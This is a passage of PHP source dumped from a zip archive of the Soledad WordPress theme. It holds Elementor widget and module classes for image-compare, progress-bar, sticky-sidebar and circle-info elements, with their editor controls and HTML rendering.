				'description' => esc_html__( 'Use same size image for before and after for better preview.', 'soledad' ),
				'type'        => Controls_Manager::MEDIA,
				'default'     => [
					'url' => \Elementor\Utils::get_placeholder_image_src(),
				],
				'dynamic'     => [ 'active' => true ],
			]
		);


		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'    => 'thumbnail_size',
				'label'   => __( 'Image Size', 'soledad' ),
				'exclude' => [ 'custom' ],
				'default' => 'full',
			]
		);

		$this->add_responsive_control(
			'img_ratio',
			[
				'label'       => esc_html__( 'Customize Compare Area Height', 'soledad' ),
				'description' => esc_html__( 'The image is dynamically cropped using the CSS background "cover" property.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'label_block' => true,
				'render_type' => 'template',
				'size_units'  => [ 'px', 'em', 'rem', 'vh' ],
				'default'     => array( 'size' => '' ),
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .image-compare' => 'width: 100%; height: {{SIZE}}{{UNIT}};'
				)
			]
		);

		$this->add_control(
			'before_label',
			[
				'label'       => esc_html__( 'Before Label', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'placeholder' => esc_html__( 'Before Label', 'soledad' ),
				'default'     => esc_html__( 'Before', 'soledad' ),
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$this->add_control(
			'after_label',
			[
				'label'       => esc_html__( 'After Label', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'placeholder' => esc_html__( 'After Label', 'soledad' ),
				'default'     => esc_html__( 'After', 'soledad' ),
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_additional_settings',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_control(
			'orientation',
			[
				'label'   => esc_html__( 'Orientation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'horizontal',
				'options' => [
					'horizontal' => esc_html__( 'Horizontal', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'default_offset_pct',
			[
				'label'   => esc_html__( 'Before Image Visiblity', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 70,
				],
				'range'   => [
					'px' => [
						'max' => 100,
						'min' => 0,
					],
				],
			]
		);

		$this->add_control(
			'no_overlay',
			[
				'label'       => esc_html__( 'Overlay', 'soledad' ),
				'description' => esc_html__( 'Do not show the overlay with before and after.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => 'yes',
				'separator'   => 'before'
			]
		);

		$this->add_control(
			'on_hover',
			[
				'label'     => esc_html__( 'On Hover?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [
					'no_overlay' => 'yes'
				]
			]
		);

		$this->add_control(
			'move_slider_on_hover',
			[
				'label'       => esc_html__( 'Slide on Hover', 'soledad' ),
				'description' => esc_html__( 'Move slider on mouse hover?', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'separator'   => 'before'
			]
		);

		$this->add_control(
			'add_circle',
			[
				'label'     => esc_html__( 'Enable Circle In Bar', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			]
		);

		$this->add_control(
			'add_circle_blur',
			[
				'label'     => esc_html__( 'Enable Circle Blur', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'add_circle' => 'yes'
				],
			]
		);

		$this->add_control(
			'add_circle_shadow',
			[
				'label'     => esc_html__( 'Enable Circle Shadow', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'add_circle' => 'yes'
				],
			]
		);

		$this->add_control(
			'smoothing',
			[
				'label'     => esc_html__( 'Enable Smoothing', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'smoothing_amount',
			[
				'label'     => esc_html__( 'Smoothing Amount', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 400,
				],
				'range'     => [
					'px' => [
						'max'  => 1000,
						'min'  => 100,
						'step' => 10,
					],
				],
				'condition' => [
					'smoothing' => 'yes'
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_style',
			[
				'label' => esc_html__( 'Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'overlay_color',
			[
				'label'     => esc_html__( 'Overlay Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .penciimg-compare-overlay:before' => 'background: {{VALUE}};',
				],
				'condition' => [
					'no_overlay' => 'yes'
				]
			]
		);

		$this->start_controls_tabs( 'tabs_image_compare_style' );

		$this->start_controls_tab(
			'tab_image_compare_before_style',
			[
				'label' => esc_html__( 'Before', 'soledad' ),
			]
		);

		$this->add_control(
			'before_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .icv__label.icv__label-before' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'before_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .icv__label.icv__label-before' => 'color: {{VALUE}};',
				],
			]
		);


		$this->end_controls_tab();


		$this->start_controls_tab(
			'tab_image_compare_after_style',
			[
				'label' => esc_html__( 'After', 'soledad' ),
			]
		);

		$this->add_control(
			'after_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .icv__label.icv__label-after' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'after_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penciimg-compare .icv__label.icv__label-after' => 'color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_image_compare_bar_style',
			[
				'label' => esc_html__( 'Bar', 'soledad' ),
			]
		);

		$this->add_control(
			'bar_color',
			[
				'label'   => esc_html__( 'Bar Color', 'soledad' ),
				'type'    => Controls_Manager::COLOR,
				'default' => '#fff',
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();


		$this->add_responsive_control(
			'after_before_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penciimg-compare .icv__label' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->add_control(
			'after_before_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penciimg-compare .icv__label' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'after_before_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penciimg-compare .icv__label',
			]
		);

		$this->end_controls_section();

	}

	public function render() {
		$settings = $this->get_settings_for_display();

		if ( $settings['default_offset_pct']['size'] < 1 ) {
			$settings['default_offset_pct']['size'] = $settings['default_offset_pct']['size'] * 100;
		}

		$settings_arg = [
			'id'                   => 'image-compare-' . $this->get_id(),
			'default_offset_pct'   => $settings['default_offset_pct']['size'],
			'orientation'          => ( $settings['orientation'] == 'horizontal' ) ? false : true,
			'before_label'         => $settings['before_label'],
			'after_label'          => $settings['after_label'],
			'no_overlay'           => ( 'yes' == $settings['no_overlay'] ) ? true : false,
			'on_hover'             => ( 'yes' == $settings['on_hover'] ) ? true : false,
			'move_slider_on_hover' => ( 'yes' == $settings['move_slider_on_hover'] ) ? true : false,
			'add_circle'           => ( 'yes' == $settings['add_circle'] ) ? true : false,
			'add_circle_blur'      => ( 'yes' == $settings['add_circle_blur'] ) ? true : false,
			'add_circle_shadow'    => ( 'yes' == $settings['add_circle_shadow'] ) ? true : false,
			'smoothing'            => ( 'yes' == $settings['smoothing'] ) ? true : false,
			'smoothing_amount'     => $settings['smoothing_amount']['size'],
			'bar_color'            => $settings['bar_color'],
			'fluidMode'            => isset( $settings['img_ratio']['size'] ) && $settings['img_ratio']['size'] ? true : false,
		];

		$this->add_render_attribute(
			[
				'image-compare' => [
					'id'            => 'image-compare-' . $this->get_id(),
					'class'         => [ 'image-compare' ],
					'data-settings' => [
						wp_json_encode( $settings_arg ),
					],
				],
			]
		);

		if ( 'yes' == $settings['no_overlay'] ) {
			$this->add_render_attribute( 'image-compare', 'class', 'penciimg-compare-overlay' );
		}

		?>
        <div class="penciimg-compare">
            <div <?php $this->print_render_attribute_string( 'image-compare' ); ?>>
				<?php echo wp_kses_post( Group_Control_Image_Size::get_attachment_image_html( $settings, 'thumbnail_size', 'before_image' ) ); ?>
				<?php echo wp_kses_post( Group_Control_Image_Size::get_attachment_image_html( $settings, 'thumbnail_size', 'after_image' ) ); ?>
            </div>
        </div>

		<?php
	}
}PK     1w\eW    /  elementor/modules/penci-progress-bar/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciProgressBar;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-progress-bar';
	}

	public function get_widgets() {
		return array( 'PenciProgressBar' );
	}
}
PK     1w\;!  !  C  elementor/modules/penci-progress-bar/widgets/penci-progress-bar.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciProgressBar\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Repeater;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciProgressBar extends Base_Widget {

	public function get_name() {
		return 'penci-progress-bar';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Progress Bar', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-skill-bar';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'progress bar', 'progress', 'bar' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_progressbar', array(
				'label' => esc_html__( 'Progressbar', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'label', array(
				'label'   => __( 'Custom Label', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Custom Label #1', 'soledad' ),
			)
		);
		$repeater->add_control(
			'value', array(
				'label' => __( 'Value', 'soledad' ),
				'type'  => Controls_Manager::NUMBER
			)
		);
		$repeater->add_control(
			'textcolor',
			array(
				'label' => __( 'Custom text color', 'soledad' ),
				'type'  => Controls_Manager::COLOR,
			)
		);
		$repeater->add_control(
			'bgcolor',
			array(
				'label' => __( 'Custom background color', 'soledad' ),
				'type'  => Controls_Manager::COLOR,
			)
		);

		$this->add_control(
			'progressbar', array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'label' => __( 'Custom Label #1', 'soledad' ),
						'value' => '90',
					),
					array(
						'label' => __( 'Custom Label #2', 'soledad' ),
						'value' => '80',
					),
					array(
						'label' => __( 'Custom Label #3', 'soledad' ),
						'value' => '70',
					),
				),
				'title_field' => '{{{ label }}}',
			)
		);

		$this->add_control(
			'units', array(
				'label'       => __( 'Units', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'description' => __( 'Enter measurement units (Example: %, px, points, etc. Note: graph value and units will be appended to graph title).', 'soledad' ),

			)
		);
		$this->add_control(
			'options', array(
				'label'   => __( 'Options', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'striped',
				'options' => array(
					'striped'  => esc_html__( 'Add stripes', 'soledad' ),
					'animated' => esc_html__( 'Add animation (Note: visible only with striped bar)', 'soledad' )
				)
			)
		);

		$this->add_control(
			'bar_height', array(
				'label'     => __( 'Custom Height for Process Bar', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'height: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'bar_border_radius', array(
				'label'     => __( 'Border Radius for Process Bar', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'border-radius: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'bar_mar_top', array(
				'label'     => __( 'Custom Margin Top for Process Bar', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'bar_mar_bottom', array(
				'label'     => __( 'Custom Margin Bottom for Process Bar', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();
		// Options colors
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'bar_title_color',
			array(
				'label'     => __( 'Process Bar Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-probar-point' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'bar_title_size', array(
				'label'     => __( 'Font size for Process Bar Title', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-probar-point' => 'font-size: {{SIZE}}px' ),
			)
		);
		$this->add_control(
			'bar_score_color',
			array(
				'label'     => __( 'Process Bar Score Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-probar-score' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'bar_score_size', array(
				'label'     => __( 'Font size for Process Bar Score', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-probar-score' => 'font-size: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'bar_run_bgcolor',
			array(
				'label'     => __( 'Process Bar Run Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-review-process span' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'bar_bgcolor',
			array(
				'label'     => __( 'Process Bar Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-review-process' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		if ( ! $settings['progressbar'] ) {
			return;
		}
		$values = (array)$settings['progressbar'];


		$css_class = 'penci-block-vc penci-progress-bar';

		$bar_options = array();
		$options     = explode( ',', $settings['options'] );
		if ( in_array( 'animated', $options ) ) {
			$bar_options[] = 'animated penci-probar-animated';
		}
		if ( in_array( 'striped', $options ) ) {
			$bar_options[] = 'penci-probar-striped';
		}
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<div class="penci-block_content">
				<ul class="penci-probar-items">
					<?php
					$line_output = '';

					$max_value        = 0.0;
					$graph_lines_data = array();
					foreach ( $values as $data ) {
						$new_line             = $data;
						$new_line['value']    = isset( $data['value'] ) ? $data['value'] : 0;
						$new_line['label']    = isset( $data['label'] ) ? $data['label'] : '';
						$new_line['bgcolor']  = isset( $data['bgcolor'] ) ? ' style="background-color: ' . esc_attr( $data['bgcolor'] ) . ';"' : '';
						$new_line['txtcolor'] = isset( $data['textcolor'] ) ? ' style="color: ' . esc_attr( $data['textcolor'] ) . ';"' : '';

						if ( $max_value < (float) $new_line['value'] ) {
							$max_value = $new_line['value'];
						}
						$graph_lines_data[] = $new_line;
					}

					foreach ( $graph_lines_data as $line ) {

						if ( $max_value > 100.00 ) {
							$percentage_value = (float) $line['value'] > 0 && $max_value > 100.00 ? round( (float) $line['value'] / $max_value * 100, 4 ) : 0;
						} else {
							$percentage_value = $line['value'];
						}
						$percentage_value = number_format( intval( $percentage_value / 10 ), 1, '.', '' );

						$line_output .= '<li class="penci-probar-item">';
						$line_output .= '<div class="penci-probar-text"' . $line['txtcolor'] . '>';
						$line_output .= '<span class="penci-probar-point">' . do_shortcode( $line['label'] ) . '</span>';
						$line_output .= '<span class="penci-probar-score">' . $line['value'] . ( isset( $settings['units'] ) ? $settings['units'] : '' ) . '</span>';
						$line_output .= '</div>';
						$line_output .= '<div class="penci-review-process">';
						$line_output .= '<span class="penci-probar-run ' . esc_attr( implode( ' ', $bar_options ) ) . '" data-width="' . $percentage_value . '"' . $line['bgcolor'] . '></span>';
						$line_output .= '</div>';
						$line_output .= '</li>';
					}

					echo $line_output;
					?>
				</ul>
			</div>
		</div>
		<?php
	}
}
PK     1w\-~v  v  )  elementor/modules/penci-sticky/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSticky;

use Elementor\Controls_Manager;
use Elementor\Controls_Stack;
use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function __construct() {
		parent::__construct();

		$this->add_actions();
	}

	public function get_name() {
		return 'penci-sticky';
	}

	public function register_controls( Controls_Stack $element ) {
		$element->start_controls_section(
			'section_penci_extra_options', array(
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Extra Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_ADVANCED,
			)
		);

		$element->add_control(
			'penci_enable_sticky',
			array(
				'label'       => __( 'Enable Sticky sidebar and content', 'soledad' ),
				'description' => __( 'Check on front end to see it works.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => ''
			)
		);

		$element->add_control(
			'penci_enable_repons_section',
			array(
				'label'       => __( 'Flexible Responsive?', 'soledad' ),
				'description' => __( 'This option applies for Structure "25, 50, 25" only', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => ''
			)
		);

		$element->add_control(
			'penci_ctsidebar_mb',
			array(
				'label'       => __( 'Custom Position of Content and Sidebar on Mobile with Structure "25, 50, 25"', 'soledad' ),
				'description' => __( 'Check on front end to see it works.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'label_block' => true,
				'default'     => 'con_sb2_sb1',
				'options'     => array(
					'con_sb2_sb1' => 'Content + Sidebar left + Sidebar right',
					'con_sb1_sb2' => 'Content + Sidebar right + Sidebar left',
					'sb2_con_sb1' => 'Sidebar left + Content + Sidebar right',
					'sb2_sb1_con' => 'Sidebar left + Sidebar right + Content',
					'sb1_con_sb2' => 'Sidebar right + Content + Sidebar left',
					'sb1_sb2_con' => 'Sidebar right + Sidebar left + Content',
				),
				'condition'   => array( 'penci_enable_repons_section' => 'yes' ),
			)
		);

		$element->end_controls_section();
	}

	public function register_container_controls( Controls_Stack $element ) {

		$element->start_controls_section(
			'section_penci_extra_options', array(
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Extra Options', 'soledad' ),
				'tab'   => Controls_Manager::TAB_ADVANCED,
			)
		);

		$element->add_control(
			'penci_enable_sticky',
			array(
				'label'       => __( 'Enable Sticky Content', 'soledad' ),
				'description' => __( 'Check on front end to see it works. This option only works for the parent container.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => ''
			)
		);

		$element->end_controls_section();
	}

	private function add_actions() {
		add_action( 'elementor/element/section/section_advanced/after_section_end', [ $this, 'register_controls' ] );
		add_action( 'elementor/element/container/section_layout/after_section_end', [
			$this,
			'register_container_controls'
		] );
	}
}
PK     1w\?P    .  elementor/modules/penci-circle-info/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCircleInfo;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-circle-info';
	}

	public function get_widgets() {

		return array( 'PenciCircleInfo' );
	}

}
PK     1w\,w  w  A  elementor/modules/penci-circle-info/widgets/penci-circle-info.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCircleInfo\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Icons_Manager;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit();
}

// Exit if accessed directly
class PenciCircleInfo extends Base_Widget {

	public function get_name() {
		return 'penci-circle-info';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Circle Info', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-info-circle-o';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'circle', 'info' ];
	}

	public function get_style_depends() {
		return [ 'penci-circle-info' ];
	}

	public function get_script_depends() {
		return [ 'penci-circle-info' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_layouts',
			[
				'label' => esc_html__( 'Circle Items', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs(
			'item_info_tab'
		);

		$repeater->start_controls_tab(
			'item_info_tab_content',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'circle_info_item_title',
			[
				'label'       => esc_html__( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'label_block' => true,
				'placeholder' => esc_html__( 'Title Item', 'soledad' ),
				'default'     => esc_html__( 'Title Item', 'soledad' ),
				'dynamic'     => [
					'active' => true,
				],
			]
		);

		$repeater->add_control(
			'circle_info_item_details',
			[
				'label'       => esc_html__( 'Details', 'soledad' ),
				'type'        => Controls_Manager::WYSIWYG,
				'default'     => esc_html__( "Default description. Lorem Ipsum is simply dummy text of the printing and typesetting industry.   ", 'soledad' ),
				'placeholder' => esc_html__( 'Type your description here', 'soledad' ),
				'dynamic'     => [
					'active' => true,
				],
			]
		);

		$repeater->add_control(
			'circle_info_item_icon',
			[
				'label'       => esc_html__( 'Icon', 'soledad' ),
				'type'        => Controls_Manager::ICONS,
				'label_block' => false,
				'default'     => [
					'value'   => 'fas fa-check',
					'library' => 'fa-solid',
				],
				'skin'        => 'inline'
			]
		);

		$repeater->add_control(
			'circle_info_title_link',
			[
				'label'       => esc_html__( 'Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'dynamic'     => [
					'active' => true,
				],
				'label_block' => true,
				'placeholder' => esc_html__( 'https://your-link.com', 'soledad' ),
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'item_info_tab_bg',
			[
				'label' => esc_html__( 'Background', 'soledad' ),
			]
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'item_background',
				'types'    => [ 'classic', 'gradient', 'video' ],
				'selector' => '{{WRAPPER}} {{CURRENT_ITEM}}',
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'circle_info_icon_list',
			[
				'label'       => '',
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'separator'   => 'before',
				'default'     => [
					[
						'circle_info_item_title'   => esc_html__( 'List Item #1', 'soledad' ),
						'circle_info_item_details' => '@1 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus leo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'far fa-smile',
							'library' => 'fa-regular'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #2', 'soledad' ),
						'circle_info_item_details' => '@2 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus meo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'fas fa-brain',
							'library' => 'fa-solid'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #3', 'soledad' ),
						'circle_info_item_details' => '@3 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus leo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'far fa-check-circle',
							'library' => 'fa-regular'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #4', 'soledad' ),
						'circle_info_item_details' => '@4 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus meo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'fas fa-cog',
							'library' => 'fa-solid'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #5', 'soledad' ),
						'circle_info_item_details' => '@5 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus leo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'fas fa-dice-d6',
							'library' => 'fa-solid'
						],
					],
					[
						'circle_info_item_title'   => esc_html__( 'List Item #6', 'soledad' ),
						'circle_info_item_details' => '@6 Click edit button to change this text. Lorem agaca ipsum dolor sit amet. Ut elit tellus, luctus nec ullam corper mattis, pulvinar dapibus meo.',
						'soledad', // No need to translate
						'circle_info_item_icon'    => [
							'value'   => 'fas fa-asterisk',
							'library' => 'fa-solid'
						],
					],
				],
				'title_field' => '{{{ circle_info_item_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_layouts1',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_info_layout',
			[
				'label'          => esc_html__( 'Layout on Mobile', 'soledad' ),
				'type'           => Controls_Manager::CHOOSE,
				'label_block'    => false,
				'options'        => [
					'circle' => [
						'title' => esc_html__( 'Circle', 'soledad' ),
						'icon'  => 'eicon-circle-o',
					],
					'list'   => [
						'title' => esc_html__( 'List', 'soledad' ),
						'icon'  => 'eicon-editor-list-ul',
					],
				],
				'toggle'         => false,
				'default'        => 'list',
				'prefix_class'   => 'penci-cinfo-style-',
				'style_transfer' => true,
				'render_type'    => 'template',
			]
		);

		$this->add_responsive_control(
			'circle_info_size',
			[
				'label'     => esc_html__( 'Circle Size ', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 400,
				],
				'range'     => [
					'px' => [
						'min' => 200,
						'max' => 1500,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfowrap' => 'height: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'hide_content',
			[
				'label'        => esc_html__( 'Hide Content', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'prefix_class' => 'penci-cinfo-hide-',
				'condition'    => [ 'circle_info_layout' => 'default' ]
			]
		);

		$this->add_control(
			'title_tags',
			[
				'label'     => esc_html__( 'Title HTML Tag', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'span',
				'options'   => [ 
                    'h1'   => 'H1',
                    'h2'   => 'H2',
                    'h3'   => 'H3',
                    'h4'   => 'H4',
                    'h5'   => 'H5',
                    'h6'   => 'H6',
                ],
				'separator' => 'before',
			]
		);

		$this->add_control(
			'circle_info_custom_margin',
			[
				'label' => esc_html__( 'Custom Margin', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_responsive_control(
			'circle_info_margin',
			[
				'label'     => esc_html__( 'Margin', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-cinfowrap' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
				'condition' => [
					'circle_info_custom_margin' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'circle_info_icon_area_size',
			[
				'label'     => esc_html__( 'Icon Area Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-cinfosub-circle, {{WRAPPER}} .penci-cinfoicon' => 'height: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}}'                                                                      => '--ep-icon-info-margin: calc({{SIZE}}px + 20px);'
				],
			]
		);

		$this->add_responsive_control(
			'circle_info_icon_size',
			[
